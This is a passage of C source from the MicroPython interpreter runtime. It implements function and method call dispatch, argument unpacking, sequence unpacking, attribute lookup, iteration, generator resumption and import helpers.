fun) {\n    return mp_call_function_n_kw(fun, 0, 0, NULL);\n}\n\nmp_obj_t mp_call_function_1(mp_obj_t fun, mp_obj_t arg) {\n    return mp_call_function_n_kw(fun, 1, 0, &arg);\n}\n\nmp_obj_t mp_call_function_2(mp_obj_t fun, mp_obj_t arg1, mp_obj_t arg2) {\n    mp_obj_t args[2];\n    args[0] = arg1;\n    args[1] = arg2;\n    return mp_call_function_n_kw(fun, 2, 0, args);\n}\n\n// args contains, eg: arg0  arg1  key0  value0  key1  value1\nmp_obj_t mp_call_function_n_kw(mp_obj_t fun_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    // TODO improve this: fun object can specify its type and we parse here the arguments,\n    // passing to the function arrays of fixed and keyword arguments\n\n    DEBUG_OP_printf(\"calling function %p(n_args=\" UINT_FMT \", n_kw=\" UINT_FMT \", args=%p)\\n\", fun_in, n_args, n_kw, args);\n\n    // get the type\n    mp_obj_type_t *type = mp_obj_get_type(fun_in);\n\n    // do the call\n    if (type->call != NULL) {\n        return type->call(fun_in, n_args, n_kw, args);\n    }\n\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_raise_TypeError(\"object not callable\");\n    } else {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n            \"'%s' object is not callable\", mp_obj_get_type_str(fun_in)));\n    }\n}\n\n// args contains: fun  self/NULL  arg(0)  ...  arg(n_args-2)  arg(n_args-1)  kw_key(0)  kw_val(0)  ... kw_key(n_kw-1)  kw_val(n_kw-1)\n// if n_args==0 and n_kw==0 then there are only fun and self/NULL\nmp_obj_t mp_call_method_n_kw(size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    DEBUG_OP_printf(\"call method (fun=%p, self=%p, n_args=\" UINT_FMT \", n_kw=\" UINT_FMT \", args=%p)\\n\", args[0], args[1], n_args, n_kw, args);\n    int adjust = (args[1] == MP_OBJ_NULL) ? 0 : 1;\n    return mp_call_function_n_kw(args[0], n_args + adjust, n_kw, args + 2 - adjust);\n}\n\n// This function only needs to be exposed externally when in stackless mode.\n#if !MICROPY_STACKLESS\nSTATIC\n#endif\nvoid mp_call_prepare_args_n_kw_var(bool have_self, size_t n_args_n_kw, const mp_obj_t *args, mp_call_args_t *out_args) {\n    mp_obj_t fun = *args++;\n    mp_obj_t self = MP_OBJ_NULL;\n    if (have_self) {\n        self = *args++; // may be MP_OBJ_NULL\n    }\n    uint n_args = n_args_n_kw & 0xff;\n    uint n_kw = (n_args_n_kw >> 8) & 0xff;\n    mp_obj_t pos_seq = args[n_args + 2 * n_kw]; // may be MP_OBJ_NULL\n    mp_obj_t kw_dict = args[n_args + 2 * n_kw + 1]; // may be MP_OBJ_NULL\n\n    DEBUG_OP_printf(\"call method var (fun=%p, self=%p, n_args=%u, n_kw=%u, args=%p, seq=%p, dict=%p)\\n\", fun, self, n_args, n_kw, args, pos_seq, kw_dict);\n\n    // We need to create the following array of objects:\n    //     args[0 .. n_args]  unpacked(pos_seq)  args[n_args .. n_args + 2 * n_kw]  unpacked(kw_dict)\n    // TODO: optimize one day to avoid constructing new arg array? Will be hard.\n\n    // The new args array\n    mp_obj_t *args2;\n    uint args2_alloc;\n    uint args2_len = 0;\n\n    // Try to get a hint for the size of the kw_dict\n    uint kw_dict_len = 0;\n    if (kw_dict != MP_OBJ_NULL && MP_OBJ_IS_TYPE(kw_dict, &mp_type_dict)) {\n        kw_dict_len = mp_obj_dict_len(kw_dict);\n    }\n\n    // Extract the pos_seq sequence to the new args array.\n    // Note that it can be arbitrary iterator.\n    if (pos_seq == MP_OBJ_NULL) {\n        // no sequence\n\n        // allocate memory for the new array of args\n        args2_alloc = 1 + n_args + 2 * (n_kw + kw_dict_len);\n        args2 = m_new(mp_obj_t, args2_alloc);\n\n        // copy the self\n        if (self != MP_OBJ_NULL) {\n            args2[args2_len++] = self;\n        }\n\n        // copy the fixed pos args\n        mp_seq_copy(args2 + args2_len, args, n_args, mp_obj_t);\n        args2_len += n_args;\n\n    } else if (MP_OBJ_IS_TYPE(pos_seq, &mp_type_tuple) || MP_OBJ_IS_TYPE(pos_seq, &mp_type_list)) {\n        // optimise the case of a tuple and list\n\n        // get the items\n        size_t len;\n        mp_obj_t *items;\n        mp_obj_get_array(pos_seq, &len, &items);\n\n        // allocate memory for the new array of args\n        args2_alloc = 1 + n_args + len + 2 * (n_kw + kw_dict_len);\n        args2 = m_new(mp_obj_t, args2_alloc);\n\n        // copy the self\n        if (self != MP_OBJ_NULL) {\n            args2[args2_len++] = self;\n        }\n\n        // copy the fixed and variable position args\n        mp_seq_cat(args2 + args2_len, args, n_args, items, len, mp_obj_t);\n        args2_len += n_args + len;\n\n    } else {\n        // generic iterator\n\n        // allocate memory for the new array of args\n        args2_alloc = 1 + n_args + 2 * (n_kw + kw_dict_len) + 3;\n        args2 = m_new(mp_obj_t, args2_alloc);\n\n        // copy the self\n        if (self != MP_OBJ_NULL) {\n            args2[args2_len++] = self;\n        }\n\n        // copy the fixed position args\n        mp_seq_copy(args2 + args2_len, args, n_args, mp_obj_t);\n        args2_len += n_args;\n\n        // extract the variable position args from the iterator\n        mp_obj_iter_buf_t iter_buf;\n        mp_obj_t iterable = mp_getiter(pos_seq, &iter_buf);\n        mp_obj_t item;\n        while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n            if (args2_len >= args2_alloc) {\n                args2 = m_renew(mp_obj_t, args2, args2_alloc, args2_alloc * 2);\n                args2_alloc *= 2;\n            }\n            args2[args2_len++] = item;\n        }\n    }\n\n    // The size of the args2 array now is the number of positional args.\n    uint pos_args_len = args2_len;\n\n    // Copy the fixed kw args.\n    mp_seq_copy(args2 + args2_len, args + n_args, 2 * n_kw, mp_obj_t);\n    args2_len += 2 * n_kw;\n\n    // Extract (key,value) pairs from kw_dict dictionary and append to args2.\n    // Note that it can be arbitrary iterator.\n    if (kw_dict == MP_OBJ_NULL) {\n        // pass\n    } else if (MP_OBJ_IS_TYPE(kw_dict, &mp_type_dict)) {\n        // dictionary\n        mp_map_t *map = mp_obj_dict_get_map(kw_dict);\n        assert(args2_len + 2 * map->used <= args2_alloc); // should have enough, since kw_dict_len is in this case hinted correctly above\n        for (size_t i = 0; i < map->alloc; i++) {\n            if (MP_MAP_SLOT_IS_FILLED(map, i)) {\n                // the key must be a qstr, so intern it if it's a string\n                mp_obj_t key = map->table[i].key;\n                if (MP_OBJ_IS_TYPE(key, &mp_type_str)) {\n                    key = mp_obj_str_intern(key);\n                }\n                args2[args2_len++] = key;\n                args2[args2_len++] = map->table[i].value;\n            }\n        }\n    } else {\n        // generic mapping:\n        // - call keys() to get an iterable of all keys in the mapping\n        // - call __getitem__ for each key to get the corresponding value\n\n        // get the keys iterable\n        mp_obj_t dest[3];\n        mp_load_method(kw_dict, MP_QSTR_keys, dest);\n        mp_obj_t iterable = mp_getiter(mp_call_method_n_kw(0, 0, dest), NULL);\n\n        mp_obj_t key;\n        while ((key = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n            // expand size of args array if needed\n            if (args2_len + 1 >= args2_alloc) {\n                uint new_alloc = args2_alloc * 2;\n                if (new_alloc < 4) {\n                    new_alloc = 4;\n                }\n                args2 = m_renew(mp_obj_t, args2, args2_alloc, new_alloc);\n                args2_alloc = new_alloc;\n            }\n\n            // the key must be a qstr, so intern it if it's a string\n            if (MP_OBJ_IS_TYPE(key, &mp_type_str)) {\n                key = mp_obj_str_intern(key);\n            }\n\n            // get the value corresponding to the key\n            mp_load_method(kw_dict, MP_QSTR___getitem__, dest);\n            dest[2] = key;\n            mp_obj_t value = mp_call_method_n_kw(1, 0, dest);\n\n            // store the key/value pair in the argument array\n            args2[args2_len++] = key;\n            args2[args2_len++] = value;\n        }\n    }\n\n    out_args->fun = fun;\n    out_args->args = args2;\n    out_args->n_args = pos_args_len;\n    out_args->n_kw = (args2_len - pos_args_len) / 2;\n    out_args->n_alloc = args2_alloc;\n}\n\nmp_obj_t mp_call_method_n_kw_var(bool have_self, size_t n_args_n_kw, const mp_obj_t *args) {\n    mp_call_args_t out_args;\n    mp_call_prepare_args_n_kw_var(have_self, n_args_n_kw, args, &out_args);\n\n    mp_obj_t res = mp_call_function_n_kw(out_args.fun, out_args.n_args, out_args.n_kw, out_args.args);\n    m_del(mp_obj_t, out_args.args, out_args.n_alloc);\n\n    return res;\n}\n\n// unpacked items are stored in reverse order into the array pointed to by items\nvoid mp_unpack_sequence(mp_obj_t seq_in, size_t num, mp_obj_t *items) {\n    size_t seq_len;\n    if (MP_OBJ_IS_TYPE(seq_in, &mp_type_tuple) || MP_OBJ_IS_TYPE(seq_in, &mp_type_list)) {\n        mp_obj_t *seq_items;\n        mp_obj_get_array(seq_in, &seq_len, &seq_items);\n        if (seq_len < num) {\n            goto too_short;\n        } else if (seq_len > num) {\n            goto too_long;\n        }\n        for (size_t i = 0; i < num; i++) {\n            items[i] = seq_items[num - 1 - i];\n        }\n    } else {\n        mp_obj_iter_buf_t iter_buf;\n        mp_obj_t iterable = mp_getiter(seq_in, &iter_buf);\n\n        for (seq_len = 0; seq_len < num; seq_len++) {\n            mp_obj_t el = mp_iternext(iterable);\n            if (el == MP_OBJ_STOP_ITERATION) {\n                goto too_short;\n            }\n            items[num - 1 - seq_len] = el;\n        }\n        if (mp_iternext(iterable) != MP_OBJ_STOP_ITERATION) {\n            goto too_long;\n        }\n    }\n    return;\n\ntoo_short:\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_raise_ValueError(\"wrong number of values to unpack\");\n    } else {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n            \"need more than %d values to unpack\", (int)seq_len));\n    }\ntoo_long:\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_raise_ValueError(\"wrong number of values to unpack\");\n    } else {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n            \"too many values to unpack (expected %d)\", (int)num));\n    }\n}\n\n// unpacked items are stored in reverse order into the array pointed to by items\nvoid mp_unpack_ex(mp_obj_t seq_in, size_t num_in, mp_obj_t *items) {\n    size_t num_left = num_in & 0xff;\n    size_t num_right = (num_in >> 8) & 0xff;\n    DEBUG_OP_printf(\"unpack ex \" UINT_FMT \" \" UINT_FMT \"\\n\", num_left, num_right);\n    size_t seq_len;\n    if (MP_OBJ_IS_TYPE(seq_in, &mp_type_tuple) || MP_OBJ_IS_TYPE(seq_in, &mp_type_list)) {\n        mp_obj_t *seq_items;\n        mp_obj_get_array(seq_in, &seq_len, &seq_items);\n        if (seq_len < num_left + num_right) {\n            goto too_short;\n        }\n        for (size_t i = 0; i < num_right; i++) {\n            items[i] = seq_items[seq_len - 1 - i];\n        }\n        items[num_right] = mp_obj_new_list(seq_len - num_left - num_right, seq_items + num_left);\n        for (size_t i = 0; i < num_left; i++) {\n            items[num_right + 1 + i] = seq_items[num_left - 1 - i];\n        }\n    } else {\n        // Generic iterable; this gets a bit messy: we unpack known left length to the\n        // items destination array, then the rest to a dynamically created list.  Once the\n        // iterable is exhausted, we take from this list for the right part of the items.\n        // TODO Improve to waste less memory in the dynamically created list.\n        mp_obj_t iterable = mp_getiter(seq_in, NULL);\n        mp_obj_t item;\n        for (seq_len = 0; seq_len < num_left; seq_len++) {\n            item = mp_iternext(iterable);\n            if (item == MP_OBJ_STOP_ITERATION) {\n                goto too_short;\n            }\n            items[num_left + num_right + 1 - 1 - seq_len] = item;\n        }\n        mp_obj_list_t *rest = MP_OBJ_TO_PTR(mp_obj_new_list(0, NULL));\n        while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n            mp_obj_list_append(MP_OBJ_FROM_PTR(rest), item);\n        }\n        if (rest->len < num_right) {\n            goto too_short;\n        }\n        items[num_right] = MP_OBJ_FROM_PTR(rest);\n        for (size_t i = 0; i < num_right; i++) {\n            items[num_right - 1 - i] = rest->items[rest->len - num_right + i];\n        }\n        mp_obj_list_set_len(MP_OBJ_FROM_PTR(rest), rest->len - num_right);\n    }\n    return;\n\ntoo_short:\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_raise_ValueError(\"wrong number of values to unpack\");\n    } else {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n            \"need more than %d values to unpack\", (int)seq_len));\n    }\n}\n\nmp_obj_t mp_load_attr(mp_obj_t base, qstr attr) {\n    DEBUG_OP_printf(\"load attr %p.%s\\n\", base, qstr_str(attr));\n    // use load_method\n    mp_obj_t dest[2];\n    mp_load_method(base, attr, dest);\n    if (dest[1] == MP_OBJ_NULL) {\n        // load_method returned just a normal attribute\n        return dest[0];\n    } else {\n        // load_method returned a method, so build a bound method object\n        return mp_obj_new_bound_meth(dest[0], dest[1]);\n    }\n}\n\n#if MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG\n\n// The following \"checked fun\" type is local to the mp_convert_member_lookup\n// function, and serves to check that the first argument to a builtin function\n// has the correct type.\n\ntypedef struct _mp_obj_checked_fun_t {\n    mp_obj_base_t base;\n    const mp_obj_type_t *type;\n    mp_obj_t fun;\n} mp_obj_checked_fun_t;\n\nSTATIC mp_obj_t checked_fun_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_obj_checked_fun_t *self = MP_OBJ_TO_PTR(self_in);\n    if (n_args > 0) {\n        const mp_obj_type_t *arg0_type = mp_obj_get_type(args[0]);\n        if (arg0_type != self->type) {\n            if (MICROPY_ERROR_REPORTING != MICROPY_ERROR_REPORTING_DETAILED) {\n                mp_raise_TypeError(\"argument has wrong type\");\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"argument should be a '%q' not a '%q'\", self->type->name, arg0_type->name));\n            }\n        }\n    }\n    return mp_call_function_n_kw(self->fun, n_args, n_kw, args);\n}\n\nSTATIC const mp_obj_type_t mp_type_checked_fun = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n    .call = checked_fun_call,\n};\n\nSTATIC mp_obj_t mp_obj_new_checked_fun(const mp_obj_type_t *type, mp_obj_t fun) {\n    mp_obj_checked_fun_t *o = m_new_obj(mp_obj_checked_fun_t);\n    o->base.type = &mp_type_checked_fun;\n    o->type = type;\n    o->fun = fun;\n    return MP_OBJ_FROM_PTR(o);\n}\n\n#endif // MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG\n\n// Given a member that was extracted from an instance, convert it correctly\n// and put the result in the dest[] array for a possible method call.\n// Conversion means dealing with static/class methods, callables, and values.\n// see http://docs.python.org/3/howto/descriptor.html\nvoid mp_convert_member_lookup(mp_obj_t self, const mp_obj_type_t *type, mp_obj_t member, mp_obj_t *dest) {\n    if (MP_OBJ_IS_TYPE(member, &mp_type_staticmethod)) {\n        // return just the function\n        dest[0] = ((mp_obj_static_class_method_t*)MP_OBJ_TO_PTR(member))->fun;\n    } else if (MP_OBJ_IS_TYPE(member, &mp_type_classmethod)) {\n        // return a bound method, with self being the type of this object\n        // this type should be the type of the original instance, not the base\n        // type (which is what is passed in the 'type' argument to this function)\n        if (self != MP_OBJ_NULL) {\n            type = mp_obj_get_type(self);\n        }\n        dest[0] = ((mp_obj_static_class_method_t*)MP_OBJ_TO_PTR(member))->fun;\n        dest[1] = MP_OBJ_FROM_PTR(type);\n    } else if (MP_OBJ_IS_TYPE(member, &mp_type_type)) {\n        // Don't try to bind types (even though they're callable)\n        dest[0] = member;\n    } else if (MP_OBJ_IS_FUN(member)\n        || (MP_OBJ_IS_OBJ(member)\n            && (((mp_obj_base_t*)MP_OBJ_TO_PTR(member))->type->name == MP_QSTR_closure\n                || ((mp_obj_base_t*)MP_OBJ_TO_PTR(member))->type->name == MP_QSTR_generator))) {\n        // only functions, closures and generators objects can be bound to self\n        #if MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG\n        const mp_obj_type_t *m_type = ((mp_obj_base_t*)MP_OBJ_TO_PTR(member))->type;\n        if (self == MP_OBJ_NULL\n            && (m_type == &mp_type_fun_builtin_0\n                || m_type == &mp_type_fun_builtin_1\n                || m_type == &mp_type_fun_builtin_2\n                || m_type == &mp_type_fun_builtin_3\n                || m_type == &mp_type_fun_builtin_var)) {\n            // we extracted a builtin method without a first argument, so we must\n            // wrap this function in a type checker\n            dest[0] = mp_obj_new_checked_fun(type, member);\n        } else\n        #endif\n        {\n            // return a bound method, with self being this object\n            dest[0] = member;\n            dest[1] = self;\n        }\n    } else {\n        // class member is a value, so just return that value\n        dest[0] = member;\n    }\n}\n\n// no attribute found, returns:     dest[0] == MP_OBJ_NULL, dest[1] == MP_OBJ_NULL\n// normal attribute found, returns: dest[0] == <attribute>, dest[1] == MP_OBJ_NULL\n// method attribute found, returns: dest[0] == <method>,    dest[1] == <self>\nvoid mp_load_method_maybe(mp_obj_t obj, qstr attr, mp_obj_t *dest) {\n    // clear output to indicate no attribute/method found yet\n    dest[0] = MP_OBJ_NULL;\n    dest[1] = MP_OBJ_NULL;\n\n    // get the type\n    mp_obj_type_t *type = mp_obj_get_type(obj);\n\n    // look for built-in names\n    if (0) {\n#if MICROPY_CPYTHON_COMPAT\n    } else if (attr == MP_QSTR___class__) {\n        // a.__class__ is equivalent to type(a)\n        dest[0] = MP_OBJ_FROM_PTR(type);\n#endif\n\n    } else if (attr == MP_QSTR___next__ && type->iternext != NULL) {\n        dest[0] = MP_OBJ_FROM_PTR(&mp_builtin_next_obj);\n        dest[1] = obj;\n\n    } else if (type->attr != NULL) {\n        // this type can do its own load, so call it\n        type->attr(obj, attr, dest);\n\n    } else if (type->locals_dict != NULL) {\n        // generic method lookup\n        // this is a lookup in the object (ie not class or type)\n        assert(type->locals_dict->base.type == &mp_type_dict); // MicroPython restriction, for now\n        mp_map_t *locals_map = &type->locals_dict->map;\n        mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP);\n        if (elem != NULL) {\n            mp_convert_member_lookup(obj, type, elem->value, dest);\n        }\n    }\n}\n\nvoid mp_load_method(mp_obj_t base, qstr attr, mp_obj_t *dest) {\n    DEBUG_OP_printf(\"load method %p.%s\\n\", base, qstr_str(attr));\n\n    mp_load_method_maybe(base, attr, dest);\n\n    if (dest[0] == MP_OBJ_NULL) {\n        // no attribute/method called attr\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_msg(&mp_type_AttributeError, \"no such attribute\");\n        } else {\n            // following CPython, we give a more detailed error message for type objects\n            if (MP_OBJ_IS_TYPE(base, &mp_type_type)) {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_AttributeError,\n                    \"type object '%q' has no attribute '%q'\",\n                    ((mp_obj_type_t*)MP_OBJ_TO_PTR(base))->name, attr));\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_AttributeError,\n                    \"'%s' object has no attribute '%q'\",\n                    mp_obj_get_type_str(base), attr));\n            }\n        }\n    }\n}\n\nvoid mp_store_attr(mp_obj_t base, qstr attr, mp_obj_t value) {\n    DEBUG_OP_printf(\"store attr %p.%s <- %p\\n\", base, qstr_str(attr), value);\n    mp_obj_type_t *type = mp_obj_get_type(base);\n    if (type->attr != NULL) {\n        mp_obj_t dest[2] = {MP_OBJ_SENTINEL, value};\n        type->attr(base, attr, dest);\n        if (dest[0] == MP_OBJ_NULL) {\n            // success\n            return;\n        }\n    }\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_raise_msg(&mp_type_AttributeError, \"no such attribute\");\n    } else {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_AttributeError,\n            \"'%s' object has no attribute '%q'\",\n            mp_obj_get_type_str(base), attr));\n    }\n}\n\nmp_obj_t mp_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) {\n    assert(o_in);\n    mp_obj_type_t *type = mp_obj_get_type(o_in);\n\n    // Check for native getiter which is the identity.  We handle this case explicitly\n    // so we don't unnecessarily allocate any RAM for the iter_buf, which won't be used.\n    if (type->getiter == mp_identity_getiter) {\n        return o_in;\n    }\n\n    // if caller did not provide a buffer then allocate one on the heap\n    if (iter_buf == NULL) {\n        iter_buf = m_new_obj(mp_obj_iter_buf_t);\n    }\n\n    // check for native getiter (corresponds to __iter__)\n    if (type->getiter != NULL) {\n        mp_obj_t iter = type->getiter(o_in, iter_buf);\n        if (iter != MP_OBJ_NULL) {\n            return iter;\n        }\n    }\n\n    // check for __getitem__\n    mp_obj_t dest[2];\n    mp_load_method_maybe(o_in, MP_QSTR___getitem__, dest);\n    if (dest[0] != MP_OBJ_NULL) {\n        // __getitem__ exists, create and return an iterator\n        return mp_obj_new_getitem_iter(dest, iter_buf);\n    }\n\n    // object not iterable\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_raise_TypeError(\"object not iterable\");\n    } else {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n            \"'%s' object is not iterable\", mp_obj_get_type_str(o_in)));\n    }\n}\n\n// may return MP_OBJ_STOP_ITERATION as an optimisation instead of raise StopIteration()\n// may also raise StopIteration()\nmp_obj_t mp_iternext_allow_raise(mp_obj_t o_in) {\n    mp_obj_type_t *type = mp_obj_get_type(o_in);\n    if (type->iternext != NULL) {\n        return type->iternext(o_in);\n    } else {\n        // check for __next__ method\n        mp_obj_t dest[2];\n        mp_load_method_maybe(o_in, MP_QSTR___next__, dest);\n        if (dest[0] != MP_OBJ_NULL) {\n            // __next__ exists, call it and return its result\n            return mp_call_method_n_kw(0, 0, dest);\n        } else {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_raise_TypeError(\"object not an iterator\");\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"'%s' object is not an iterator\", mp_obj_get_type_str(o_in)));\n            }\n        }\n    }\n}\n\n// will always return MP_OBJ_STOP_ITERATION instead of raising StopIteration() (or any subclass thereof)\n// may raise other exceptions\nmp_obj_t mp_iternext(mp_obj_t o_in) {\n    MP_STACK_CHECK(); // enumerate, filter, map and zip can recursively call mp_iternext\n    mp_obj_type_t *type = mp_obj_get_type(o_in);\n    if (type->iternext != NULL) {\n        return type->iternext(o_in);\n    } else {\n        // check for __next__ method\n        mp_obj_t dest[2];\n        mp_load_method_maybe(o_in, MP_QSTR___next__, dest);\n        if (dest[0] != MP_OBJ_NULL) {\n            // __next__ exists, call it and return its result\n            nlr_buf_t nlr;\n            if (nlr_push(&nlr) == 0) {\n                mp_obj_t ret = mp_call_method_n_kw(0, 0, dest);\n                nlr_pop();\n                return ret;\n            } else {\n                if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(((mp_obj_base_t*)nlr.ret_val)->type), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) {\n                    return MP_OBJ_STOP_ITERATION;\n                } else {\n                    nlr_jump(nlr.ret_val);\n                }\n            }\n        } else {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_raise_TypeError(\"object not an iterator\");\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"'%s' object is not an iterator\", mp_obj_get_type_str(o_in)));\n            }\n        }\n    }\n}\n\n// TODO: Unclear what to do with StopIterarion exception here.\nmp_vm_return_kind_t mp_resume(mp_obj_t self_in, mp_obj_t send_value, mp_obj_t throw_value, mp_obj_t *ret_val) {\n    assert((send_value != MP_OBJ_NULL) ^ (throw_value != MP_OBJ_NULL));\n    mp_obj_type_t *type = mp_obj_get_type(self_in);\n\n    if (type == &mp_type_gen_instance) {\n        return mp_obj_gen_resume(self_in, send_value, throw_value, ret_val);\n    }\n\n    if (type->iternext != NULL && send_value == mp_const_none) {\n        mp_obj_t ret = type->iternext(self_in);\n        if (ret != MP_OBJ_STOP_ITERATION) {\n            *ret_val = ret;\n            return MP_VM_RETURN_YIELD;\n        } else {\n            // Emulate raise StopIteration()\n            // Special case, handled in vm.c\n            *ret_val = MP_OBJ_NULL;\n            return MP_VM_RETURN_NORMAL;\n        }\n    }\n\n    mp_obj_t dest[3]; // Reserve slot for send() arg\n\n    // Python instance iterator protocol\n    if (send_value == mp_const_none) {\n        mp_load_method_maybe(self_in, MP_QSTR___next__, dest);\n        if (dest[0] != MP_OBJ_NULL) {\n            nlr_buf_t nlr;\n            if (nlr_push(&nlr) == 0) {\n                *ret_val = mp_call_method_n_kw(0, 0, dest);\n                nlr_pop();\n                return MP_VM_RETURN_YIELD;\n            } else {\n                *ret_val = MP_OBJ_FROM_PTR(nlr.ret_val);\n                return MP_VM_RETURN_EXCEPTION;\n            }\n        }\n    }\n\n    // Either python instance generator protocol, or native object\n    // generator protocol.\n    if (send_value != MP_OBJ_NULL) {\n        mp_load_method(self_in, MP_QSTR_send, dest);\n        dest[2] = send_value;\n        // TODO: This should have exception wrapping like __next__ case\n        // above. Not done right away to think how to optimize native\n        // generators better, see:\n        // https://github.com/micropython/micropython/issues/2628\n        *ret_val = mp_call_method_n_kw(1, 0, dest);\n        return MP_VM_RETURN_YIELD;\n    }\n\n    assert(throw_value != MP_OBJ_NULL);\n    {\n        if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(throw_value)), MP_OBJ_FROM_PTR(&mp_type_GeneratorExit))) {\n            mp_load_method_maybe(self_in, MP_QSTR_close, dest);\n            if (dest[0] != MP_OBJ_NULL) {\n                // TODO: Exceptions raised in close() are not propagated,\n                // printed to sys.stderr\n                *ret_val = mp_call_method_n_kw(0, 0, dest);\n                // We assume one can't \"yield\" from close()\n                return MP_VM_RETURN_NORMAL;\n            }\n        } else {\n            mp_load_method_maybe(self_in, MP_QSTR_throw, dest);\n            if (dest[0] != MP_OBJ_NULL) {\n                dest[2] = throw_value;\n                *ret_val = mp_call_method_n_kw(1, 0, dest);\n                // If .throw() method returned, we assume it's value to yield\n                // - any exception would be thrown with nlr_raise().\n                return MP_VM_RETURN_YIELD;\n            }\n        }\n        // If there's nowhere to throw exception into, then we assume that object\n        // is just incapable to handle it, so any exception thrown into it\n        // will be propagated up. This behavior is approved by test_pep380.py\n        // test_delegation_of_close_to_non_generator(),\n        //  test_delegating_throw_to_non_generator()\n        *ret_val = throw_value;\n        return MP_VM_RETURN_EXCEPTION;\n    }\n}\n\nmp_obj_t mp_make_raise_obj(mp_obj_t o) {\n    DEBUG_printf(\"raise %p\\n\", o);\n    if (mp_obj_is_exception_type(o)) {\n        // o is an exception type (it is derived from BaseException (or is BaseException))\n        // create and return a new exception instance by calling o\n        // TODO could have an option to disable traceback, then builtin exceptions (eg TypeError)\n        // could have const instances in ROM which we return here instead\n        return mp_call_function_n_kw(o, 0, 0, NULL);\n    } else if (mp_obj_is_exception_instance(o)) {\n        // o is an instance of an exception, so use it as the exception\n        return o;\n    } else {\n        // o cannot be used as an exception, so return a type error (which will be raised by the caller)\n        return mp_obj_new_exception_msg(&mp_type_TypeError, \"exceptions must derive from BaseException\");\n    }\n}\n\nmp_obj_t mp_import_name(qstr name, mp_obj_t fromlist, mp_obj_t level) {\n    DEBUG_printf(\"import name '%s' level=%d\\n\", qstr_str(name), MP_OBJ_SMALL_INT_VALUE(level));\n\n    // build args array\n    mp_obj_t args[5];\n    args[0] = MP_OBJ_NEW_QSTR(name);\n    args[1] = mp_const_none; // TODO should be globals\n    args[2] = mp_const_none; // TODO should be locals\n    args[3] = fromlist;\n    args[4] = level; // must be 0; we don't yet support other values\n\n    // TODO lookup __import__ and call that instead of going straight to builtin implementation\n    return mp_builtin___import__(5, args);\n}\n\nmp_obj_t mp_import_from(mp_obj_t module, qstr name) {\n    DEBUG_printf(\"import from %p %s\\n\", module, qstr_str(name));\n\n    mp_obj_t dest[2];\n\n    mp_load_method_maybe(module, name, dest);\n\n    if (dest[1] != MP_OBJ_NULL) {\n        // Hopefully we can't import bound method from an object\nimport_error:\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ImportError, \"cannot import name %q\", name));\n    }\n\n    if (dest[0] != MP_OBJ_NULL) {\n        return dest[0];\n    }\n\n    // See if it's a package, then can try FS import\n    if (!mp_obj_is_package(module)) {\n        goto import_error;\n    }\n\n    mp_load_method_maybe(module, MP_QSTR___name__, dest);\n    size_t pkg_name_len;\n    const char *pkg_name = mp_obj_str_get_data(dest[0], &pkg_name_len);\n\n    const uint dot_name_len = pkg_name_len + 1 + qstr_len(name);\n    char *dot_name = alloca(dot_name_len);\n    memcpy(dot_name, pkg_name, pkg_name_len);\n    dot_name[pkg_name_len] = '.';\n    memcpy(dot_name + pkg_name_len + 1, qstr_str(name), qstr_len(name));\n    qstr dot_name_q = qstr_from_strn(dot_name, dot_name_len);\n\n    mp_obj_t args[5];\n    args[0] = MP_OBJ_NEW_QSTR(dot_name_q);\n    args[1] = mp_const_none; // TODO should be globals\n    args[2] = mp_const_none; // TODO should be locals\n    args[3] = mp_const_true; // Pass sentinel \"non empty\" value to force returning of leaf module\n    args[4] = MP_OBJ_NEW_SMALL_INT(0);\n\n    // TODO lookup __import__ and call that instead of going straight to builtin implementation\n    return mp_builtin___import__(5, args);\n}\n\nvoid mp_import_all(mp_obj_t module) {\n    DEBUG_printf(\"import all %p\\n\", module);\n\n    // TODO: Support __all__\n    mp_map_t *map = mp_obj_dict_get_map(MP_OBJ_FROM_PTR(mp_obj_module_get_globals(module)));\n    for (size_t i = 0; i < map->alloc; i++) {\n        if (MP_MAP_SLOT_IS_FILLED(map, i)) {\n            qstr name = 